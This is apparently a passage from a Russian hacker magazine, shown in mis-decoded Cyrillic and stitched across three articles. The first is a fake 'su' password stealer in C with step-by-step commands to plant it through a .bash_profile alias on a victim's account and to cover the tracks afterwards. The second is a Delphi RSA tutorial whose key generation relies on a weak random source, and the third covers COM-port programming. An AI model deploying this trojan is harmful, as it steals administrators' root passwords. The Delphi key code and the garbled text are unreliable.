ëåæàòü äàëåêî íå â /bin (äëÿ òîãî, ÷òîáû åå òóäà çàñóíóòü,<br />
íóæíû root-ïðàâà), à ãäå-òî â home-äèðåêòîðèè<br />
æåðòâû. À äëÿ ñóèäà (íå ñóèöèäà) æåðòâà áóäåò íàáèðàòü<br />
êîìàíäó su, ïîýòîìó íóæíî êàê-òî çàìåíèòü ýòó êîìàíäó<br />
ñâîèì fake-áèíàðíèêîì. Ïðè ðåøåíèè ýòîé çàäà÷è âîçìîæíû<br />
äâà ïóòè:<br />
1) Ïîôèêñèòü ïåðåìåííóþ $PATH íà ïðåæäåâðåìåííîå<br />
âûïîëíåíèå áèíàðíèêîâ èç òâîåé çàìàñêèðîâàííîé äèðåêòîðèè.<br />
2) Ñäåëàòü àëèàñ íà êîìàíäó su, êîòîðûé áóäåò ïåðåäàâàòü<br />
êîìàíäó íà âûïîëíåíèå òâîåé ïîääåëêå.<br />
Ìíå áîëüøå ïîíðàâèëñÿ âòîðîé ïóòü, òàê êàê âåðîÿòíîñòü<br />
ïðîñìîòðà âñåõ àëèàñîâ ìåíüøå, ÷åì ïðîñìîòð ïåðåìåííîé<br />
$PATH, äà è ñäåëàòü îäèí àëèàñ ëåã÷å, ÷åì ìåíÿòü<br />
âåñü ïóòü ê áèíàðíèêàì.<br />
Èòàê, íèæå ñëåäóåò êîä su.c, êîòîðûé òû ìîæåøü ìîäèôèöèðîâàòü,<br />
íàïðèìåð, äëÿ îòñûëêè íà E-mail ïàðîëÿ ñóïåðïîëüçîâàòåëÿ,<br />
ëèáî äëÿ ñâîèõ íóæä:<br />
#define SORRY "Sorry" /* Îòâåò su íà íåâåðíûé ïàðîëü.<br />
Âñòàâèòü àêòóàëüíûé äëÿ ñèñòåìû îòâåò */<br />
#define PFILE "tmp/.screen" /* Ôàéë, â êîòîðîì áóäåò<br />
íàõîäèòüñÿ çàïèñàííûé ïàðîëü */<br />
#define MYPATH "tmp/.screen_active" /* Ñàì ôàéë áèíàðíèêà<br />
*/<br />
#include /* Çàþçàåì îáðàáîòêó ñèãíàëîâ íà<br />
ñëó÷àé, åñëè àäìèí îáîðâåò âûïîëíåíèå ïî ctrl+c */<br />
void sigexit(int no); /* Îáúÿâèì ôóíêöèþ ïåðåõâàòà ñèãíàëà<br />
*/<br />
int main() {<br />
char pass[40];<br />
char longs[100]; /* Îáúÿâèì òàêæå ïåðåìåííûå äëÿ ïàðîëÿ<br />
è êîìàíäíîé ñòðîêè äëÿ èçãîòîâëåíèÿ ëèíêè */<br />
int filep;<br />
signal(SIGINT, sigexit); /* Îáðàáîòàåì ñèãíàë SIGINT */<br />
printf("Password:"); /* Çàïðîñèì ïàðîëü */<br />
system("stty -echo"); /* Âûðóáèì ýêðàíèçàöèþ ñèìâîëîâ,<br />
òåì ñàìûì çàìàñêèðîâàâ áèíàðíèê ïîä su ñòèëü */<br />
scanf("%s",pass); /* Ïðî÷èòàåì ñòðîêó ñ ïàðîëåì */<br />
system("stty echo"); /* Âåðíåì ýêðàíèçàöèþ */<br />
printf("\r\n");<br />
filep=fopen(PFILE,"w");<br />
fprintf(filep,"Pass is %s\n",pass); /* Çàïèøåì ïàðîëü â<br />
ôàéë */<br />
fclose(filep);<br />
printf("%s\r\n",SORRY); /* Íàïèøåì îòìàçó, ÷òî ïàðîëü<br />
íåâåðåí :) */<br />
strcpy(longs,"");<br />
strcat(longs,"/bin/ln -sf /bin/su ");<br />
strcat(longs,MYPATH); /* Ñîçäàäèì êîìàíäíóþ ñòðîêó:<br />
/bin/ln -sf /bin/su MYPATH */<br />
system(longs); /* È âûïîëíèì åå */<br />
exit(0); /* Âûõîäèì */<br />
}<br />
void sigexit(int no) {<br />
system("stty echo"); /* Ýêñòðåííî âðóáèì ýêðàíèçàöèþ è<br />
òîæå âûõîäèì :) */<br />
printf("\r\n\r\n");<br />
exit(0);<br />
}<br />
Åñëè òû çíàåøü àçû ïðîãðàììèðîâàíèÿ â C, òû ïîéìåøü<br />
ýòîò êóñîê êîäà áåç ïðîáëåì. Åñëè æå íå çíàåøü - ñìîòðè<br />
íà ïîäðîáíûé êîììåíòàðèé ñïðàâà. Êàê òû, íàâåðíîå,<br />
ðåäàêòèðóåì su.c<br />
ïîíÿë, ýòîò êîä ðåàëèçóåò àëãîðèòì, îïèñàííûé ÷óòü âûøå.<br />
Ñèãíàë SIGINT îáðàáàòûâàåòñÿ ðàäè òâîåé æå áåçîïàñíîñòè<br />
(åñëè àäìèíó âäðóã ðàñõî÷åòñÿ ââîäèòü ïàðîëü,<br />
îí áóäåò êðàéíå óäèâëåí îòêëþ÷åííûì echo'ì íà ñâîåì<br />
ïñåâäîòåðìèíàëå).<br />
À òåïåðü î ïðàâèëüíîé "èíñòàëëÿöèè" ýòîãî òâîðåíèÿ íà<br />
ìàøèíå æåðòâû. Âíà÷àëå ñêîìïèëü ýòîò ñèøíèê â áèíàðíèê.<br />
Çàòåì ïåðåíåñè åãî â çàðàíåå îáúÿâëåííûé äëÿ íåãî<br />
ïóòü (ñìîòðè êîä). Çàòåì ñëåäóåò äîáàâèòü àëèàñ íà<br />
âûçîâ êîìàíäû 'su', íî íå ïðîñòî äîáàâèòü, à ñäåëàòü<br />
òàê, ÷òîáû îí äîáàâëÿëñÿ àâòîìàòè÷åñêè. Ýòî ìîæíî ëåãêî<br />
ðåàëèçîâàòü, äàæå íå èìåÿ ðóòîâûõ ïðàâ, äîïèñàâ<br />
bash-êîìàíäó â ~/.bash_profile. Âíèìàíèå! Îáÿçàòåëüíî<br />
óáåäèñü, ÷òî ó ïîëüçîâàòåëÿ â êà÷åñòâå øåëëà ñòîèò<br />
èìåííî bash, òàê êàê â ïðîòèâíîì ñëó÷àå ïðîôèëü áóäåò<br />
äðóãèì (~/.profile äëÿ sh è ò.ï.). Çàòåì óáåäèñü, ÷òî ïîëüçîâàòåëü<br />
ìîæåò èçìåíÿòü çíà÷åíèå êîíñòàíòû PFILE<br />
(èìåííî â ýòîì ôàéëå áóäåò õðàíèòüñÿ "çàñíèôàííûé"<br />
ïàðîëü). Òàêèì îáðàçîì, äëÿ ïðàâèëüíîé óñòàíîâêè òåáå<br />
íóæíî âûïîëíèòü ñëåäóþùóþ ïîñëåäîâàòåëüíîñòü<br />
äåéñòâèé:<br />
# gcc su.c -o su<br />
# mkdir tmp<br />
# mv su tmp/.screen<br />
# echo 'alias su="/home/user/tmp/.screen"' >> .bash_profile<br />
Íåîáõîäèìîñòü â ïîëíîì ïóòè ê òâîåìó fake-su â êîìàíäå<br />
alias îáóñëîâëåíà òåì, ÷òî ïîëüçîâàòåëü ìîæåò óéòè<br />
èç ñâîåãî äîìàøíåãî êàòàëîãà, à ëèøü ïîòîì ñóèäíóòüñÿ.<br />
 òàêîì ñëó÷àå, ïðè îòíîñèòåëüíîì ïóòè, ñèñòåìà áû ïîðóãàëàñü<br />
íà íåâåðíîå ìåñòîïîëîæåíèå ôàéëà<br />
tmp/.screen, ÷òî íàâåðíÿêà ïðèâëåêëî áû âíèìàíèå æåðòâû.<br />
È êîãäà íà ñëåäóþùèé äåíü òû ñíîâà âîøåë áû íà<br />
ìàøèíó è ïî÷èòàë ñâîè ëîãè, òåáÿ, âîçìîæíî, æäàë áû<br />
ñþðïðèç. Ïîñëå ýòîãî íå çàáóäü çàìåñòè ñëåäû, óäàëèâ<br />
àëèàñ è âñå ñâîè ôàéëû. È åñëè âñå ïðîøëî óñïåøíî, òî<br />
ïîçäðàâëÿþ - îäíîé æåðòâîé ñòàëî áîëüøå :).<br />
Âíèìàíèå! Ýòà ñòàòüÿ íå çàñòàâëÿåò òåáÿ äåëàòü ÷òî-ëèáî<br />
ïðîòèâîçàêîííîå, à òîëüêî ðàññêàçûâàåò î âîçìîæíîñòè<br />
òîé èëè èíîé ñèòóàöèè. Âåñü âûøåîïèñàííûé ìàòåðèàë<br />
òû ìîæåøü èñïîëüçîâàòü òîëüêî äëÿ òîãî, ÷òîáû<br />
çàùèòèòü ñâîþ ñèñòåìó, íî íå äëÿ âòîðæåíèÿ â ÷óæóþ. È<br />
ïîìíè - ñòàðøèé áðàò ñëåäèò çà òîáîé ;).<br />
×òîáû òàêèõ øóòîê áûëî ìåíüøå, à âñå<br />
ñèñòåìû áûëè áîëåå èëè ìåíåå<br />
çàùèùåííûìè, ðåêîìåíäóþ<br />
àäìèíèñòðàòîðàì ïîäïèñàòüñÿ íà<br />
ðàññûëêó ïî áåçîïàñíîñòè *nix, à òàêæå<br />
ïî÷àùå ïðîâåðÿòü ñâîþ ñèñòåìó íà<br />
ðóòêèòû è ðåãóëÿðíî ÷èòàòü ëîãè.<br />
5 6 7 8 9<br />
Þíèêñîèä X-Ñòèëü Êîäèíã Þíèòû Quit> 83
Êîäèíã<br />
DELPHI ÄËß ÏÀÐÀÍÎÈÊÀ: ÑÂÎÉ PGP ÇÀ 5 ÌÈÍÓÒ<br />
Ëîçîâñêèé Àëåêñàíäð (klouniz@mail.ru)<br />
ñâîé PGP<br />
çà 5 ìèíóò<br />
Delphi<br />
äëÿ ïàðàíîèêà:<br />
Ñåãîäíÿ íàñ æäåò ïîèñòèíå ][-êîäèíã, à èìåííî íàïèñàíèå ñîáñòâåííîé êðèïòî-ïðîãè, óìåþùåé<br />
øèôðîâàòü òåêñò ïî ïðèíöèïó îòêðûòîãî êëþ÷à. Åñëè òû óæå íàïóãàí ðàçìåðàìè èñõîäíèêîâ<br />
PGP (êîòîðûå ëåíü ÷èòàòü äàæå ïðîáèòûì þíèêñîèäàì), ÿ òåáÿ óñïîêîþ. Äåëî â òîì, ÷òî<br />
äîáðûå êàïèòàëèñòû èç TSM inc íàïèñàëè äëÿ íàñ ñîâåðøåííî áåñïëàòíûé êîìïîíåíò, ðåàëèçóþùèé<br />
ôóíêöèè RSA àëãîðèòìà, êîòîðûé, ñîáñòâåííî, ñåé÷àñ è ÿâëÿåòñÿ ñòàíäàðòîì àñèììåòðè÷íîãî<br />
øèôðîâàíèÿ. Òàê ÷òî çà ðàçìåð êîäà ìîæåøü íå áåñïîêîèòüñÿ, îí áóäåò íåïðèëè÷íî<br />
ìàëåíüêèì è âìåñòå ñ òåì ïîëíîöåííûì. Ò.å. íàøà ñ òîáîé ïðîãà áóäåò óìåòü âñå, êàê è<br />
åå ñòàðøèå áðàòüÿ. À èìåííî - ãåíåðèòü êëþ÷è, øèôðîâàòü è ðàñøèôðîâûâàòü :).<br />
Âñïîìíèòü âñå<br />
Ïðåæäå ÷åì âçÿòüñÿ çà êîäèíã, íàì ïðèäåòñÿ ïðèïîìíèòü ïàðó òåîðåòè÷åñêèõ ìîìåíòîâ:<br />
1) Øèôðîâàíèå èíôîðìàöèè ïðîèçâîäèòñÿ ïðè ïîìîùè public key, à ðàñøèôðîâêà -<br />
private key. Ïåðâûé ìîæåò íàõîäèòüñÿ ó êîãî óãîäíî (ïîñêîëüêó ñïîñîáåí òîëüêî øèôðîâàòü),<br />
âòîðîé - òîëüêî ó òîãî, êîìó ïèøóò. Åãî íàäî áåðå÷ü êàê äåâñòâåííîñòü :).<br />
Äëèíà êëþ÷à ìîæåò áûòü 512, 1024 è 2048 áèò.  íàøåì ïðèìåðå ÿ áóäó èñïîëüçîâàòü<br />
1024-áèòíûé êëþ÷, ïîñêîëüêó ìåíüøàÿ äëèíà óæå äàâíî ñ÷èòàåòñÿ îòñòîåì, à 2048<br />
ñëèøêîì äîëãî âû÷èñëÿåòñÿ ìîèì 566 öåëåðîíîì.<br />
2) Ìàòåìàòè÷åñêîé îñíîâîé àëãîðèòìà ÿâëÿþòñÿ 2 áîëüøèõ ïðîñòûõ ÷èñëà - p è q. Îíè<br />
íàñòîëüêî áîëüøèå, ÷òî ðàçðàáîò÷èêè êîìïîíåíòà (êîòîðûé ìû ñåãîäíÿ áóäåì èñïîëüçîâàòü)<br />
ââåëè òèï BigNum. Ïîäðîáíåå ÿ ðàññêàæó î íåì íèæå.<br />
Ñëåäîâàòåëüíî, àâòîìàòè÷åñêàÿ ãåíåðàöèÿ êëþ÷à äëÿ íàñ áóäåò çàêëþ÷àòüñÿ èìåííî â<br />
íàõîæäåíèè p è q. Îñòàëüíîå êîìïîíåíò ñäåëàåò ñàì. È ýòî ïðàâèëüíî. Êàê ãîâîðèë ìîé<br />
ïðåïîäàâàòåëü òðóäà, "ïóñòü ðàáîòàþò ìåõàíèçìû". Ïðàâäà, îí åùå ñ÷èòàë, ÷òî àíàíàñû<br />
ðàñòóò íà äåðåâüÿõ, íî ðàáî÷åìó ÷åëîâåêó ýòî ïðîñòèòåëüíî.<br />
Ðåêâèçèò<br />
Ñðî÷íî áåãè íà http://www.crypto-central.com/software/freeware/RSA_free.zip (èëè íà íàø<br />
äèñê, êîòîðûé áëèæå) è êà÷àé êîìïîíåíò. Åñëè ïðè ïîÿâëåíèè íàäïèñè "download complete"<br />
òâîè ðóêè (êàê ýòî îáû÷íî ïðîèñõîäèò ñî ìíîé) ïðèõîäÿò â ñèëüíîå âîçáóæäåíèå<br />
è çàïóñêàþò èíñòàëëÿöèþ çàãðóæåííîãî, òî óéìè èõ. Ïîòîìó ÷òî ýòîãî ìàëî, íàäî åùå<br />
çàéòè íà http://www.crypto-central.com/cgi-bin/freeform.exe. Òàì, ïîñëå çàïîëíåíèÿ ïðîñòåíüêîé<br />
ôîðìû (ðàçìåð ëèô÷èêà è ãîäîâîé äîõîä òàì íå ñïðàøèâàþò, äîñòàòî÷íî ýëåêòðîííîãî<br />
àäðåñà, èìåíè è èñòî÷íèêà, îòêóäà òû î íèõ óçíàë) òåáå íà e-mail ñâàëèâàåòñÿ<br />
èíäèâèäóàëüíûé êîä äëÿ èíñòàëëÿöèè. Ìîæíî, ïðàâäà, íè÷åãî íå çàïîëíÿòü, ïîòîìó<br />
÷òî ÿ óæå ýòî ñäåëàë äî òåáÿ è ïîëó÷èë âîò ÷òî: hjkDL9l3s0s[39s3fm3. Ýòî êîä äëÿ áåñïëàòíîé<br />
âåðñèè.<br />
Ëàäíî, òåïåðü ìîæíî äàòü âîëþ ðóêàì è çàïóñòèòü èíñòàëëÿöèþ - îíà ñàìà íàéäåò òâîé<br />
äåëüôè è ïîëîæèò â êîìïîíåíòû íîâóþ çàêëàäêó - "crypto", ñîäåðæàùóþ êîìïîíåíò<br />
"RSA". Ïîýòîìó ñðî÷íî êèäàé åãî íà ôîðìó, è çàéìåìñÿ ïðîãðàììèðîâàíèåì.<br />
Ëîçîâñêèé Àëåêñàíäð (klouniz@mail.ru)<br />
Êîäèíã<br />
Íàì ïîíàäîáèòñÿ ñëåäóþùåå: 2 Edit, 2 êíîïêè, 2 RadioButton (òîæå ëåæèò â çàêëàäêå<br />
standard), 1 ProgressBar, 2 Memo èëè RichEdit - êîìó ÷òî íðàâèòñÿ. Ðàñïîëîæè èõ ïðèìåðíî<br />
òàê:<br />
84<br />
Ïåðâîçäàííàÿ êðàñîòà :)<br />
È äàâàé íàçâàíèÿ, êàê çäåñü:
Òåïåðü óæå òàì âñå ïðåäåëüíî ÿñíî, ñ êàæäûì èçìåíåíèåì êîîðäèíàòû ìû ïðèñâàèâàåì<br />
î÷åðåäíîìó ýëåìåíòó ìàññèâà ñëó÷àéíîå çíà÷åíèå, â çàâèñèìîñòè îò êîîðäèíàò<br />
ìûøêè. Ýòó ñèñòåìó òåáå ïðåäñòîèò êðóòî óñëîæíèòü, íàïðèìåð, èñïîëüçîâàòü íå êàæäóþ<br />
êîîðäèíàòó, à êàæäóþ 15-þ. Ñëó÷àéíûì îáðàçîì :).<br />
Øèôðóåìñÿ!<br />
Ñ ýòîãî ìîìåíòà ìîæíî îòêëþ÷àòü ñâîè ìîçãè îò ñåòè, îíè óæå íå ïîíàäîáÿòñÿ, ò.ê. âñå<br />
îñòàëüíîå êîìïîíåíò ñäåëàåò ñàì. Íàì îñòàíåòñÿ òîëüêî ñêàçàòü åìó, îòêóäà áðàòü êëþ-<br />
÷è è ÷òî äåëàòü (øèôðîâàòü èëè ðàñøèôðîâûâàòü, ÷òî îïðåäåëÿåòñÿ RadioButton’àìè).<br />
Äà ÷òî òóò ãîâîðèòü, ïîñìîòðè ñàì íà êíîïêó Start (îíà æå ïóñê :)).<br />
Íà÷íåì ðàáîòó ñ íàæàòèÿ ýòîé êíîïêè :)<br />
Îêîí÷àòåëüíûé âèä<br />
Ñîâñåì íå îáÿçàòåëüíî äåëàòü òàêóþ çäîðîâóþ êíîïêó "START", ïðîñòî ó ìåíÿ ðàçâèëàñü<br />
ãèãàíòîìàíèÿ, è ÿ ñòàðàþñü äåëàòü òàê, ÷òîáû â ëþáóþ êíîïêó ìîæíî áûëî ïîïàñòü<br />
íå öåëÿñü. Êñòàòè, â áóäóùåì ÿ íå óïóùó âîçìîæíîñòè ðàññêàçàòü î êàêîé-íèáóäü êîíñîëüíîé<br />
ïðîãðàììå, è òóò óæ òåáå âîîáùå íå ïðèäåòñÿ áàëîâàòüñÿ ñêðèíàìè :).<br />
Ïåðåìåííûå<br />
Äàâàé îáúÿâèì ñëåäóþùåå ïåðåìåííûå:<br />
pQ, pP: BigNum;<br />
nado: boolean;<br />
i, length: integer;<br />
FromT, ToT: String;<br />
Òóò pQ è pP - ýòî p è q, î êîòîðûõ ÿ ãîâîðèë â íà÷àëå, nado - îïðåäåëÿåò, íàäî ëè<br />
ñîçäàâàòü êëþ÷, i è length - íóæíû äëÿ ãåíåðàöèè êëþ÷à, FromT - èñõîäíàÿ ñòðîêà<br />
(äëÿ øèôðîâêè èëè ðàñøèôðîâêè), ToT - êîíå÷íûé òåêñò.<br />
Êëþ÷èêè<br />
Ñ ïåðåìåííûìè âñå ÿñíî, äàâàé ðàçáåðåìñÿ ñ ãåíåðàöèåé êëþ÷à. Äåëî â òîì, ÷òî<br />
p è q, î êîòîðûõ ÿ ãîâîðþ óæå â òðåòèé ðàç :), â ñóùíîñòè ïðåäñòàâëÿþò ñîáîé ìàññèâû<br />
èç 32-áèòíûõ ÷èñåë (ñëåäîâàòåëüíî, êàæäûé ýëåìåíò ìîæåò ïðèíèìàòü çíà-<br />
÷åíèå äî $FFFFFFFF), à äëèíà ñàìîãî ìàññèâà áóäåò çàâèñåòü îò äëèíû êëþ÷à è îïðåäåëÿòüñÿ<br />
ïåðåìåííîé length.<br />
Ïîýòîìó âñå, ÷òî íàì íàäî, ýòî ïðèñâîèòü çíà÷åíèå êàæäîìó ýëåìåíòó p è q, à çàòåì<br />
âû÷èñëèòü êëþ÷è êîìàíäîé MakeKeyPair. Ìîæíî, êîíå÷íî, ïðèñâîèòü ïðîñòî<br />
ñëó÷àéíûå çíà÷åíèÿ, èñïîëüçóÿ ãåíåðàòîð ïñåâäîñëó÷àéíûõ ÷èñåë îò äåëüôè, êàê<br />
íàñ è ó÷èëè â øêîëå :), íî òóò òåáÿ ìîæåò æäàòü îáëîì. ×èñëà, êîòîðûå îí âûäàåò,<br />
î÷åíü ïðåäñêàçóåìû, à ïîòîìó äåëàþò íàø êëþ÷ ñëèøêîì óÿçâèìûì. Èç-çà<br />
ýòîãî, êñòàòè, ìíîãèå êîìïîíåíòû ñîäåðæàò ñâîé ãåíåðàòîð ÷èñåë, ýôôåêòèâíîñòü<br />
êîòîðûõ òîæå âûçûâàåò ñîìíåíèå :). Ïîòîìó ìû è ïîéäåì ïóòåì PGP - áóäåì èñïîëüçîâàòü<br />
êîîðäèíàòû ìûøêè (â ñëó÷àéíîñòè êîòîðûõ ñîìíåâàòüñÿ íå ïðèõîäèòñÿ)<br />
- ò.å. äëÿ ãåíåðàöèè êëþ÷à ìû ïîïðîñèì þçåðà ïîêðóòèòü ìûøêîé, âûçûâàÿ<br />
òàêèì îáðàçîì ñîáûòèå MouseMove, è áóäåì èñïîëüçîâàòü ïîñòîÿííî ìåíÿþùèåñÿ<br />
êîîðäèíàòû êàê îñíîâó. Èòàê, íà÷íåì ñ ñîîòâåòñòâóþùåé êíîïêè, êîòîðàÿ íàçûâàåòñÿ<br />
"Ñãåíåðèðîâàòü êëþ÷". Âîò ÷òî ïðåäñòàâëÿåò ñîáîé åå îíêëèê:<br />
procedure TForm1.BitBtn1Click(Sender: TObject);<br />
begin<br />
IF RadioButton1.Checked then //Íàäî øèôðîâàòü<br />
begin<br />
FromT:= Memo1.text; //Èñõîäíàÿ ñòðîêà<br />
RSA1.PublicKey:= Edit2.Text; //Êëþ÷<br />
RSA1.EncryptString(FromT, ToT); //Çàøèôðîâàëè<br />
Memo2.text:= ToT; //Âûâåëè êîíå÷íûé òåêñò<br />
end else //Àõ, íå øèôðîâàòü Òîãäà íàîáîðîò :)<br />
begin<br />
RSA1.PrivateKey:= EDit1.Text;<br />
FromT:= memo2.Text;<br />
RSA1.DecryptString(FromT, ToT);<br />
Êîäèíã êîìïëèò<br />
MEmo1.Text:= ToT;<br />
end;<br />
end;<br />
Âîò òàê. Îáúÿñíÿþ äàëüøå. Áåðè ñòðî÷êó èç Memo1 è øèôðóé åå êëþ÷îì èç Edit2. È íàîáîðîò<br />
:). Ïðè òàêîì óïðîùåíèè þçåðîâ íà ïëàíåòå âîîáùå ñêîðî íå îñòàíåòñÿ - âñå ðèíóòñÿ<br />
êîäèòü. Ïîñìîòðè íà ðåçóëüòàò øèôðîâàíèÿ:<br />
nado:= true; I:=0;<br />
length:= RSA1.GetPrecision;<br />
Progressbar1.Min:=0;<br />
Progressbar1.Max:=length-1;<br />
Òóò ÿ çàñâèäåòåëüñòâóþ íàäîáíîñòü è èíèöèàëèçèðóþñü, ïëþñ ðàññòàâëþ ìèíèìàëüíîå<br />
è ìàêñèìàëüíîå çíà÷åíèÿ ïðîãðåññáàðà. Òåïåðü ñàìîå èíòåðåñíîå - ñîçäàé äëÿ<br />
ôîðìû ñîáûòèå TForm1.FormMouseMove è âûæãè â íåì ñëåäóþùåå:<br />
Êîäèíã êîìïëèò<br />
Ëèñòèíã TForm1.FormMouseMove<br />
procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,<br />
Y: Integer);<br />
begin<br />
IF nado= true then //Ïîåõàëè<br />
begin<br />
IF i= length-1 then //Äà âåäü ìû âñå çàïîëíèëè...<br />
begin<br />
RSA1.MakeKeyPair(pP, pQ); //Îáðàçóåì êëþ÷<br />
nado:= false; //È óæå íè÷åãî íå íàäî<br />
Edit1.Text:= RSA1.PrivateKey; //Îòîáðàçèì íàéäåííîå<br />
Edit2.Text:= RSA1.PublicKey;<br />
end else //Àõ, íå çàïîëíèëè Èñïðàâèì<br />
begin<br />
pP.Contents[i]:= X*Y*random($FFFF); //Êîîðäèíàòû óìíîæàåì íà ñëó÷àéíîñòü<br />
pQ.Contents[i]:= X*Y*Y*random($FFFF);<br />
Progressbar1.Position:=i; //Óâåëè÷èì ïðîãðåññ :)<br />
inc(i); //Ïåðåéäåì ê ñëåäóþùåìó ýëåìåíòó, óâåëè÷èì i<br />
end;<br />
end;<br />
end;<br />
Çàìåòèë, ÷òî îí íàìíîãî áîëüøå îðèãèíàëà Ýòî íå ãëþê, à ñóðîâàÿ ðåàëüíîñòü àñèììåòðè÷íûõ<br />
àëãîðèòìîâ. Ðàçìåð øèôðîâàííîãî òåêñòà áîëüøå îðèãèíàëà, ïðè÷åì çàâèñèò<br />
ýòî îò äëèíû êëþ÷à.<br />
End Of The World<br />
Íó âñå, ñ ýòîãî ìîìåíòà ìîæåøü ñ÷èòàòü, ÷òî ñâîé PGP ó òåáÿ óæå åñòü. Êëþ÷è åãî ïîëíîñòüþ<br />
ñîâìåñòèìû ñ äðóãèìè ðåàëèçàöèÿìè RSA àëãîðèòìà, à â èñõîäíèê ÿ åùå âêëþ-<br />
÷èë ôóíêöèþ ñîõðàíåíèÿ è çàãðóçêè îòêðûòîãî êëþ÷à èç ôàéëà. Ïîýòîìó íå çàáóäü ñêà-<br />
÷àòü åãî ñ www.cydsoft.com/vr-online èëè âçÿòü íà äèñêå. Äà, åùå ãëÿíü íà äèðåêòîðèþ ñ<br />
êîìïîíåíòîì, òàì åñòü õåëï-ôàéë è åãî íåïëîõî áû ïî÷èòàòü (ïðàâäà, îí íà àíãëèéñêîì).<br />
Òàì ïîíàïèñàíî ìíîãî èíòåðåñíîãî, â òîì ÷èñëå è ïðî öèôðîâóþ ïîäïèñü (äà,<br />
îíà òîæå ïîääåðæèâàåòñÿ RSA àëãîðèòìîì). Âåùü ýòî íóæíàÿ, ïîòîìó ÷òî áåç íåå MS IE<br />
íèêîãäà áû íå âûäàâàë íå÷òî âðîäå: "Ïîäëèííîñòü The Super-Porno-Viewer óäîñòîâåðåíà<br />
êîìïàíèåé Ìàéêðîñîôò. Âñåãäà ëè äîâåðÿòü êîìïàíèè Ìàéêðîñîôò" :)<br />
Íà ýòîé òîðæåñòâåííîé íîòå âàø íåïîêîðíûé ñïåøèò îòêëàíÿòüñÿ è ñîîáùèòü, ÷òî íà<br />
âñå âîïðîñû (æàëîáû, ïðåäëîæåíèÿ, òóïîé ôëåéì, etc) îí ñ óäîâîëüñòâèåì îòâåòèò ïî<br />
ýëåêòðîííîé ïî÷òå :).<br />
85
Êîäèíã<br />
C/C++: ÐÀÁÎÒÀÅÌ Ñ COM-ÏÎÐÒÎÌ<br />
Íèêîëàé «GîrluM» Àíäðååâ (gorlum@real.xakep.ru)<br />
Âõîäèò è<br />
Âûõîäèò....<br />
Ðàáîòàåì ñ COM-ïîðòîì<br />
Äàâíûì-äàâíî, âî âðåìåíà ñòàðîãî äîáðîãî DOS`à, ðàáîòàòü ñ õàðäâàðîì áûëî ãîðàçäî ïðîùå.<br />
Âçÿòü, íàïðèìåð, óïðàâëåíèå êîììóíèêàöèîííûìè ïîðòàìè. Ïðîãðàììû òîãäà èñïîëüçîâàëè<br />
ïðåðûâàíèÿ è îáùàëèñü ñ óñòðîéñòâàìè íàïðÿìóþ (ýòî áûëî íàñòîÿùåå ðàçäîëüå<br />
âèðìåéêåðàì). Ñ òåõ ïîð ìíîãîå ïåðåìåíèëîñü. Íà ñìåíó ÄÎÑó ïðèøëè âèíäû, à ñ íèìè è<br />
íîâûå ïðàâèëà. Òåïåðü ïðîãðàììû, ðàáîòàþùèå â Windows, îáùàþòñÿ ñ óñòðîéñòâîì íå íàïðÿìóþ,<br />
à ÷åðåç ñïåöèàëüíûå WinAPI ôóíêöèè. Âîò ýòè ñàìè WinAPI ôóíêöèè ìû ñåãîäíÿ è<br />
áóäåì èçó÷àòü. Ðàçáåðåì ðàáîòó ñ COM-ïîðòîì, à â êà÷åñòâå ïðèìåðà íàïèøåì ïðîñòåíüêóþ<br />
òåðìèíàëüíóþ ïðîãðàììó äëÿ ìîäåìà ñ ïðîñòûì è êðàñèâûì ãðàôè÷åñêèì èíòåðôåéñîì.<br />
Íèêîëàé "GorluM" Àíäðååâ (gorlum@real.xakep.ru)<br />
Ðàáîòàåì êàê ñ ôàéëîì<br />
Ñàìà ñèñòåìà äðàéâåðîâ, äà è âèíäîâ â öåëîì, ïîçâîëÿåò ðàáîòàòü ñ êîììóíèêàöèîííûìè<br />
ïîðòàìè (íå òîëüêî COM, íî è LPT) êàê ñ îáûêíîâåííûìè ôàéëàìè. Òî åñòü äëÿ<br />
ýòîãî áóäóò èñïîëüçîâàòüñÿ òå æå ôóíêöèè, ÷òî è ïðè ðàáîòå ñ ôàéëàìè. Âîò êàê ýòî<br />
ðåàëèçóåòñÿ. Äëÿ íà÷àëà âçàèìîäåéñòâèÿ ñ ïîðòîì íåîáõîäèìî ïîëó÷èòü åãî õýíäë ïðè<br />
ïîìîùè ôóíêöèè CreateFile. Ïðè÷åì ïàðàìåòðû òî÷íî òàêèå æå, êàê è ïðè ðàáîòå ñ<br />
ôàéëàìè, òîëüêî â ïîëå èìåíè ôàéëà ìû ñòàâèì èìÿ ïîðòà - "COM1", "COM2" è ò.ï.:<br />
HANDLE hCom =<br />
CreateFile("COM1",GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,0,0);<br />
Äëÿ äðóãèõ ïðèëîæåíèé äðàéâåð ïîðòà ïîëó÷èò ñòàòóñ "çàíÿòûé", è â ïåðåìåííîé<br />
hCom îêàæåòñÿ HANDLE ïîðòà. Òåïåðü ìû ìîæåì ðàáîòàòü ñ íèì ïðè ïîìîùè äâóõ<br />
api-ôóíêöèé: ReadFile è WriteFile. Íàïðèìåð, äëÿ òîãî ÷òîáû ïîñëàòü â ïîðò ñòðîêó<br />
buffer, íåîáõîäèìî ñäåëàòü ñëåäóþùåå:<br />
WriteFile(hCom, buffer, strlen(buffer), &n, 0);<br />
 ïåðâîì ïàðàìåòðå ýòîé ôóíêöèè ìû ïåðåäàåì õýíäë ïîðòà, äàëåå óêàçàòåëü íà<br />
ñòðîêó, îáúåì ïîñûëàåìûõ áàéò, çàòåì óêàçàòåëü íà ïåðåìåííóþ òèïà DWORD, â êîòîðóþ<br />
çàíåñåòñÿ êîëè÷åñòâî ïîñëàííûõ áàéò, è óêàçàòåëü íà overlapped-áóôåð (îí<br />
íàì íå íóæåí, ïîýòîìó ïðîñòî ïåðåäàåì íîëü).<br />
À âîò ÷òî íåîáõîäèìî ñäåëàòü, ÷òîáû ïðî÷èòàòü èç ïîðòà ñòðîêó äëèíîé â 6 ñèìâîëîâ:<br />
ReadFile(hCom, &buffer, 6, &n, 0);<br />
Ó ýòîé ôóíêöèè åñòü îäèí íþàíñ. Ïðè çàïóñêå îíà æäåò ïîÿâëåíèÿ çàäàííîãî êîëè÷åñòâà<br />
áàéò â ïîðòó. Åñëè ïðèõîäèò ìåíüøå îæèäàåìîãî, òî ôóíêöèÿ ïðîñòî íå âåðíåò óïðàâëåíèÿ<br />
ïðîãðàììå è áóäåò äîæèäàòüñÿ îñòàâøèõñÿ áàéò. ×òîáû óáðàòü òàêèå "çàâèñàíèÿ"<br />
